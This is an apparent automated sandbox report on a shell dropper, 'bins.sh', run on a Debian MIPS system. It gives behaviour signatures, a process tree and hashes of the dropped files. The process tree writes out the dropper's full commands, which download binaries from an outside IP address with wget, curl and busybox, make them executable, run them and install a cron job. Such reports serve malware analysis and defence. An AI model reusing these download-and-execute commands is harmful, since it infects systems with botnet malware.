Analysis

  • max time kernel
    122s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/11/2024, 21:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241105-1dlets1qbj
  • SHA256 d2968261bae25594b355d5d15a050006a28bd23cca83bab1c2e16f5cf3aba21f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1444) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Writes file to tmp directory
              PID:771
            • /bin/chmod
              chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Executes dropped EXE
              PID:778
            • /bin/rm
              rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
                PID:781
              • /usr/bin/wget
                wget http://87.120.84.230/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                • Writes file to tmp directory
                PID:782
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                • Writes file to tmp directory
                PID:811
              • /bin/chmod
                chmod 777 qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                • File and Directory Permissions Modification
                PID:812
              • /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                ./qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                • Executes dropped EXE
                PID:813
              • /bin/rm
                rm qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                2⤵
                  PID:815
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                  • Writes file to tmp directory
                  PID:817
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                  • File and Directory Permissions Modification
                  PID:820
                • /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  ./Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                  • Executes dropped EXE
                  PID:822
                • /bin/rm
                  rm Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                  2⤵
                    PID:825
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                    • Writes file to tmp directory
                    PID:836
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /bin/chmod
                    chmod 777 W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:855
                  • /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    ./W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                    • Executes dropped EXE
                    PID:857
                  • /bin/rm
                    rm W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                    2⤵
                      PID:859
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:860
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:861
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:862
                    • /bin/chmod
                      chmod 777 E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • File and Directory Permissions Modification
                      PID:863
                    • /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      ./E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:864
                    • /bin/rm
                      rm E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                      2⤵
                      • System Network Configuration Discovery
                      PID:866
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      2⤵
                      • Writes file to tmp directory
                      PID:867
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      2⤵
                      • Writes file to tmp directory
                      PID:868
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      2⤵
                      • Writes file to tmp directory
                      PID:869
                    • /bin/chmod
                      chmod 777 MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:870
                    • /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      ./MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:871
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:873
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:874
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:875
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:876
                          • /bin/rm
                            rm MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                            2⤵
                              PID:878
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                              2⤵
                                PID:881
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                2⤵
                                  PID:965
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:966
                                • /bin/chmod
                                  chmod 777 EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:975
                                • /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                  ./EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                  2⤵
                                  • Executes dropped EXE
                                  PID:976
                                • /bin/rm
                                  rm EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                  2⤵
                                    PID:978
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
                                    2⤵
                                      PID:979

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm

                                        • Path /tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP

                                        EnYQHS5opq5T32VpyDylr0gihpQo679XdB

                                        • Path /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP

                                        Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF

                                        • Path /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
                                        • Size 112KB
                                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                        • MD5 SHA1 SHA512 SSDEEP

                                        Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs

                                        • Path /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
                                        • Size 141KB
                                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                        • MD5 SHA1 SHA512 SSDEEP

                                        Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb

                                        • Path /tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP

                                        MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ

                                        • Path /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP

                                        V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN

                                        • Path /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
                                        • Size 99KB
                                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                        • MD5 SHA1 SHA512 SSDEEP

                                        W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI

                                        • Path /tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
                                        • Size 107KB
                                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                        • MD5 SHA1 SHA512 SSDEEP

                                        qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1

                                        • Path /tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp.dMFMpi

                                        • Path /var/spool/cron/crontabs/tmp.dMFMpi
                                        • Size 210B
                                        • SHA256 466d94f1c8f20e4510292b9eaf5e5840ba149540d286dacf5546780f2a4dff60
                                        • MD5 SHA1 SHA512